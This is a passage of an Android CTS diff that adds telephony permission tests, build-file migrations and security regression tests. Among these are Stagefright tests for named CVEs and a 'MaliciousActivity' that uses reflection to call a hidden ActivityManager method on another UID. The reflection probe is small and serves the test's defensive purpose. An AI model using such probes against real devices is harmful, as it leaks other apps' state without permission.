+++ b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
@@ -319,6 +319,33 @@
         }
     }
 
+    /**
+    * Verify that getNetworkType and getDataNetworkType requires Permission.
+    * <p>
+    * Requires Permission:
+    * {@link android.Manifest.permission#READ_PHONE_STATE}.
+    */
+    @Test
+    public void testGetNetworkType() {
+        if (!mHasTelephony) {
+            return;
+        }
+
+        try {
+            mTelephonyManager.getNetworkType();
+            fail("getNetworkType did not throw a SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        try {
+            mTelephonyManager.getDataNetworkType();
+            fail("getDataNetworkType did not throw a SecurityException");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
     private static Context getContext() {
         return InstrumentationRegistry.getContext();
     }
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
new file mode 100644
index 0000000..56b3ba4
--- /dev/null
+++ b/tests/tests/provider/Android.bp
@@ -0,0 +1,45 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsProviderTestCases",
+    defaults: ["cts_defaults"],
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.mock",
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+        "telephony-common",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "junit",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    jni_libs: [
+        "libcts_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    min_sdk_version: "21",
+}
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
deleted file mode 100644
index 1b5d08a..0000000
--- a/tests/tests/provider/Android.mk
+++ /dev/null
@@ -1,53 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# Include both the 32 and 64 bit versions of libs
-LOCAL_MULTILIB := both
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := android.test.mock android.test.base.stubs android.test.runner.stubs telephony-common
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    junit
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 
-
-LOCAL_JNI_SHARED_LIBRARIES := libcts_jni libnativehelper_compat_libc++
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsProviderTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_MIN_SDK_VERSION := 21
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java b/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java
new file mode 100644
index 0000000..c1e0af0
--- /dev/null
+++ b/tests/tests/rcs/src/android/telephony/ims/cts/RcsProviderPermissionsTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.ims.cts;
+
+import static android.provider.Telephony.RcsColumns.IS_RCS_TABLE_SCHEMA_CODE_COMPLETE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.provider.Telephony;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+public class RcsProviderPermissionsTest {
+    @BeforeClass
+    public static void ensureDefaultSmsApp() {
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
+
+    @Before
+    public void setupTestEnvironment() {
+        // Used to skip tests for production builds without RCS tables, will be removed when
+        // IS_RCS_TABLE_SCHEMA_CODE_COMPLETE flag is removed.
+        Assume.assumeTrue(IS_RCS_TABLE_SCHEMA_CODE_COMPLETE);
+    }
+
+    @Test
+    public void testRcsProvider_shouldNotHaveAccess() {
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        try (ContentProviderClient client =
+                     context.getContentResolver().acquireContentProviderClient(
+                             Telephony.RcsColumns.AUTHORITY)) {
+            assertThat(client).isNull();
+        } catch (SecurityException e) {
+            return;
+        }
+        Assert.fail();
+    }
+}
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
new file mode 100644
index 0000000..5a7def6
--- /dev/null
+++ b/tests/tests/security/Android.bp
@@ -0,0 +1,60 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSecurityTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "androidx.test.rules",
+        "android-common",
+        "ctstestserver",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "guava",
+        "platform-test-annotations",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "org.apache.http.legacy",
+        "android.test.base.stubs",
+    ],
+    jni_libs: [
+        "libctssecurity_jni",
+        "libcts_jni",
+        "libnativehelper_compat_libc++",
+        "libnativehelper",
+        "libcutils",
+        "libcrypto",
+        "libselinux",
+        "libc++",
+        "libpcre2",
+        "libpackagelistparser",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/android/security/cts/activity/ISecureRandomService.aidl",
+        "aidl/android/security/cts/IIsolatedService.aidl",
+    ],
+    //sdk_version: "current",
+    platform_apis: true,
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "sts",
+    ],
+}
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
deleted file mode 100644
index f4ae8a7..0000000
--- a/tests/tests/security/Android.mk
+++ /dev/null
@@ -1,62 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    android-common \
-    ctstestserver \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    guava \
-    platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    org.apache.http.legacy \
-    android.test.base.stubs \
-
-
-LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni libnativehelper_compat_libc++ \
-                      libnativehelper \
-                      libcutils \
-                      libcrypto \
-                      libselinux \
-                      libc++ \
-                      libpcre2 \
-                      libpackagelistparser
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)\
-                   src/android/security/cts/activity/ISecureRandomService.aidl\
-                   aidl/android/security/cts/IIsolatedService.aidl
-
-LOCAL_PACKAGE_NAME := CtsSecurityTestCases
-
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b2412f69..130e5a4 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -49,6 +49,10 @@
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
+
+        <activity android:name="android.security.cts.ActivityManagerTest$NormalActivity" />
+        <activity android:name="android.security.cts.ActivityManagerTest$MaliciousActivity" />
+        <service android:name="android.security.cts.ActivityManagerTest$AppMonitoringService" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 208b50c..0160b8b 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -25,7 +25,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.security.cts" />
-        <option name="runtime-hint" value="1h8m15s" />
+        <option name="runtime-hint" value="1h40m18s" />
         <!-- test-timeout unit is ms, value = 15 min -->
         <option name="test-timeout" value="900000" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
old mode 100755
new mode 100644
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
new file mode 100644
index 0000000..5544ffe
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64710074.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_17773.mp4 b/tests/tests/security/res/raw/cve_2017_17773.mp4
new file mode 100644
index 0000000..09e32c9
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_17773.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_18074.wma b/tests/tests/security/res/raw/cve_2017_18074.wma
new file mode 100644
index 0000000..2634a4d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_18074.wma
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5874.mp4 b/tests/tests/security/res/raw/cve_2018_5874.mp4
new file mode 100644
index 0000000..f1656bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5874.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5875.mp4 b/tests/tests/security/res/raw/cve_2018_5875.mp4
new file mode 100644
index 0000000..c07d5d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5875.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5876.mp4 b/tests/tests/security/res/raw/cve_2018_5876.mp4
new file mode 100644
index 0000000..7f656a4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5876.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5882.flac b/tests/tests/security/res/raw/cve_2018_5882.flac
new file mode 100644
index 0000000..5089aea
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5882.flac
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_5894.mp4 b/tests/tests/security/res/raw/cve_2018_5894.mp4
new file mode 100644
index 0000000..09720c6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_5894.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index ae75ec9..113d7ea 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,16 +15,48 @@
  */
 package android.security.cts;
 
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
 import android.os.IBinder;
+import android.os.Process;
 import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
 import junit.framework.TestCase;
 
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 @SecurityTest
 public class ActivityManagerTest extends TestCase {
 
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+    private static CountDownLatch sLatch;
+    private static volatile int sNormalActivityUserId;
+    private static volatile boolean sCannotReflect;
+    private static volatile boolean sIsAppForeground;
+
+    private static final String TAG = "ActivityManagerTest";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+
+        sLatch = new CountDownLatch(2);
+        sNormalActivityUserId = -1;
+        sCannotReflect = false;
+        sIsAppForeground = false;
     }
 
     @SecurityTest(minPatchLevel = "2015-03")
@@ -43,4 +75,117 @@
             // Patched devices should throw this exception
         }
     }
-}
\ No newline at end of file
+
+    public void testIsAppInForegroundNormal() throws Exception {
+        /* Verify that isAppForeground can be called by the caller on itself. */
+        launchActivity(NormalActivity.class);
+        sNormalActivityUserId = InstrumentationRegistry.getTargetContext().getPackageManager()
+                .getPackageUid(SECURITY_CTS_PACKAGE_NAME, 0);
+        sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+        if (sCannotReflect) return; // If reflection is not possible, pass the test.
+        assertTrue("isAppForeground failed to query for uid on itself.", sIsAppForeground);
+    }
+
+    public void testIsAppInForegroundMalicious() throws Exception {
+        /* Verify that isAppForeground cannot be called by another app on a known uid. */
+        launchActivity(MaliciousActivity.class);
+        launchSettingsActivity();
+        sLatch.await(5, TimeUnit.SECONDS); // Ensure the service has ran at least twice.
+        if (sCannotReflect) return; // If reflection is not possible, pass the test.
+        assertFalse("isAppForeground successfully queried for a uid other than itself.",
+                sIsAppForeground);
+    }
+
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    private void launchSettingsActivity() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(android.provider.Settings.ACTION_SETTINGS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    public static class NormalActivity extends Activity {
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+            Intent intent = new Intent(this, AppMonitoringService.class);
+            intent.putExtra(AppMonitoringService.EXTRA_UID, sNormalActivityUserId);
+            startService(intent);
+        }
+    }
+
+    public static class MaliciousActivity extends Activity {
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
+            Intent intent = new Intent(this, AppMonitoringService.class);
+            intent.putExtra(AppMonitoringService.EXTRA_UID, Process.SYSTEM_UID);
+            startService(intent);
+            finish();
+        }
+    }
+
+    public static class AppMonitoringService extends Service {
+
+        private static final String EXTRA_UID = "android.security.cts.extra.UID";
+        private int uid;
+
+        @Override
+        public int onStartCommand(Intent intent, int flags, int startId) {
+            uid = intent.getIntExtra(EXTRA_UID, -1);
+            return super.onStartCommand(intent, flags, startId);
+        }
+
+        public AppMonitoringService() {
+            super.onCreate();
+
+            final Handler handler = new Handler();
+            handler.postDelayed(new Runnable() {
+                public void run() {
+                    try {
+                        ActivityManager activityManager = (ActivityManager) getSystemService(
+                                ACTIVITY_SERVICE);
+                        Field field = activityManager.getClass().getDeclaredField(
+                                "IActivityManagerSingleton");
+                        field.setAccessible(true);
+                        Object fieldValue = field.get(activityManager);
+                        Method method = fieldValue.getClass().getDeclaredMethod("create");
+                        method.setAccessible(true);
+                        Object IActivityInstance = method.invoke(fieldValue);
+                        Method isAppForeground = IActivityInstance.getClass().getDeclaredMethod(
+                                "isAppForeground", int.class);
+                        isAppForeground.setAccessible(true);
+                        boolean res = (boolean) isAppForeground.invoke(IActivityInstance, uid);
+                        if (res) {
+                            sIsAppForeground = true;
+                        }
+                    } catch (Exception e) {
+                        Log.e(TAG, "Failed to fetch/invoke field/method via reflection.", e);
+                        sCannotReflect = true;
+                    }
+                    sLatch.countDown();
+                    handler.postDelayed(this, 200);
+
+                }
+            }, 0);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            throw new UnsupportedOperationException("Not yet implemented");
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 71e4c4f..9ce81a8 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -98,8 +98,9 @@
             // APK for an activity that collects information printed in the CTS report header
             "android.tests.devicesetup",
 
-            // Wifi test utility used by Tradefed...
+            // Test utilities used by Tradefed harness
             "com.android.tradefed.utils.wifi",
+            "android.tradefed.contentprovider",
 
             // Game used for CTS testing...
             "com.replica.replicaisland",
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 6c44889..5b9e8e3 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -928,6 +928,41 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest(minPatchLevel = "2018-03")
+    public void testStagefright_cve_2017_17773() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_17773);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-04")
+    public void testStagefright_cve_2017_18074() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_18074);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-06")
+    public void testStagefright_cve_2018_5894() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5894);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5874() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5874);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5875() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5875);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5876() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5876);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_5882() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_5882);
+    }
+
     @SecurityTest(minPatchLevel = "2017-12")
     public void testBug_65186291() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_65186291_framelen);
diff --git a/tests/tests/security/testeffect/Android.bp b/tests/tests/security/testeffect/Android.bp
new file mode 100644
index 0000000..23bd6fd
--- /dev/null
+++ b/tests/tests/security/testeffect/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2013 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Test effect library
+cc_test_library {
+    name: "libctstesteffect",
+    srcs: ["CTSTestEffect.cpp"],
+    cflags: [
+        "-O2",
+        "-fvisibility=hidden",
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-gnu-designator",
+    ],
+    relative_install_path: "soundfx",
+    include_dirs: ["system/media/audio_effects/include"],
+}
diff --git a/tests/tests/security/testeffect/Android.mk b/tests/tests/security/testeffect/Android.mk
deleted file mode 100644
index 0784b5d..0000000
--- a/tests/tests/security/testeffect/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-# Test effect library
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES:= \
-  CTSTestEffect.cpp
-
-LOCAL_CFLAGS+= -O2 -fvisibility=hidden
-
-LOCAL_MODULE_RELATIVE_PATH := soundfx
-LOCAL_MODULE:= libctstesteffect
-
-LOCAL_C_INCLUDES := \
-  $(call include-path-for, audio-effects)
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter -Wno-gnu-designator
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/selinux/selinuxEphemeral/Android.bp b/tests/tests/selinux/selinuxEphemeral/Android.bp
index 6bbcb89..c3e6459 100644
--- a/tests/tests/selinux/selinuxEphemeral/Android.bp
+++ b/tests/tests/selinux/selinuxEphemeral/Android.bp
@@ -18,8 +18,8 @@
     defaults: ["cts_defaults"],
     compile_multilib: "both",
     static_libs: [
-        "ctstestrunner",
-        "compatibility-device-util",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
     ],
     libs: [
         "android.test.base.stubs",
diff --git a/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml b/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
index 55d61a5..9e2deeb 100644
--- a/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
+++ b/tests/tests/selinux/selinuxEphemeral/AndroidManifest.xml
@@ -26,7 +26,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.selinuxephemeral.cts"
                      android:label="CTS tests for permissions enforce by selinux based on targetSdkVersion">
         <meta-data android:name="listener"
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index a2a4c84..4610d7c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -19,10 +19,17 @@
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.MODE_IGNORED;
 import static android.app.AppOpsManager.OPSTR_READ_PHONE_STATE;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_OVERRIDE_BOOL;
+import static android.telephony.CarrierConfigManager.KEY_CARRIER_NAME_STRING;
+import static android.telephony.CarrierConfigManager.KEY_FORCE_HOME_NETWORK_BOOL;
+import static android.telephony.ServiceState.STATE_IN_SERVICE;
 
 import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.compatibility.common.util.AppOpsUtils.setOpMode;
+import static com.android.internal.telephony.TelephonyIntents.EXTRA_SPN;
+import static com.android.internal.telephony.TelephonyIntents.SPN_STRINGS_UPDATED_ACTION;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -30,23 +37,34 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.net.ConnectivityManager;
+import android.os.Looper;
 import android.os.PersistableBundle;
 import android.platform.test.annotations.SecurityTest;
 import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
 
-import java.io.IOException;
+import com.android.compatibility.common.util.TestThread;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
+import java.io.IOException;
+
 public class CarrierConfigManagerTest {
+
+    private static final String CARRIER_NAME_OVERRIDE = "carrier_a";
     private CarrierConfigManager mConfigManager;
     private TelephonyManager mTelephonyManager;
+    private static final int TOLERANCE = 2000;
+    private final Object mLock = new Object();
 
     @Before
     public void setUp() throws Exception {
@@ -168,4 +186,60 @@
         }
     }
 
+    /**
+     * This checks that {@link CarrierConfigManager#overrideConfig(int, PersistableBundle)}
+     * correctly overrides the Carrier Name (SPN) string.
+     */
+    @Test
+    public void testCarrierConfigNameOverride() throws Exception {
+        if (mTelephonyManager.getServiceState().getState() != STATE_IN_SERVICE) return;
+
+        // Adopt shell permission so the required permission (android.permission.MODIFY_PHONE_STATE)
+        // is granted.
+        UiAutomation ui = getInstrumentation().getUiAutomation();
+        ui.adoptShellPermissionIdentity();
+
+        int subId = SubscriptionManager.getDefaultSubscriptionId();
+        TestThread t = new TestThread(new Runnable() {
+            @Override
+            public void run() {
+                Looper.prepare();
+
+                PersistableBundle carrierNameOverride = new PersistableBundle(3);
+                carrierNameOverride.putBoolean(KEY_CARRIER_NAME_OVERRIDE_BOOL, true);
+                carrierNameOverride.putBoolean(KEY_FORCE_HOME_NETWORK_BOOL, true);
+                carrierNameOverride.putString(KEY_CARRIER_NAME_STRING, CARRIER_NAME_OVERRIDE);
+                mConfigManager.overrideConfig(subId, carrierNameOverride);
+
+                Looper.loop();
+            }
+        });
+
+        try {
+            BroadcastReceiver spnBroadcastReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    if (CARRIER_NAME_OVERRIDE.equals(intent.getStringExtra(EXTRA_SPN))) {
+                        synchronized (mLock) {
+                            mLock.notify();
+                        }
+                    }
+                }
+            };
+
+            getContext().registerReceiver(
+                    spnBroadcastReceiver,
+                    new IntentFilter(SPN_STRINGS_UPDATED_ACTION));
+
+            synchronized (mLock) {
+                t.start();
+                mLock.wait(TOLERANCE); // wait for SPN broadcast
+            }
+
+            assertEquals(CARRIER_NAME_OVERRIDE, mTelephonyManager.getSimOperatorName());
+        } finally {
+            mConfigManager.overrideConfig(subId, null);
+            ui.dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 5a4933a..4e67af7 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -86,6 +86,8 @@
 
     @BeforeClass
     public static void setUpClass() throws Exception {
+        if (!isSupported()) return;
+
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .executeShellCommand("svc wifi disable");
 
@@ -108,12 +110,16 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
+        if (!isSupported()) return;
+
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .executeShellCommand("svc wifi enable");
     }
 
     @Before
     public void setUp() throws Exception {
+        if (!isSupported()) return;
+
         mSm = InstrumentationRegistry.getContext().getSystemService(SubscriptionManager.class);
         mSubId = SubscriptionManager.getDefaultDataSubscriptionId();
         mPackageName = InstrumentationRegistry.getContext().getPackageName();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index d558f93..70e0acc 100644
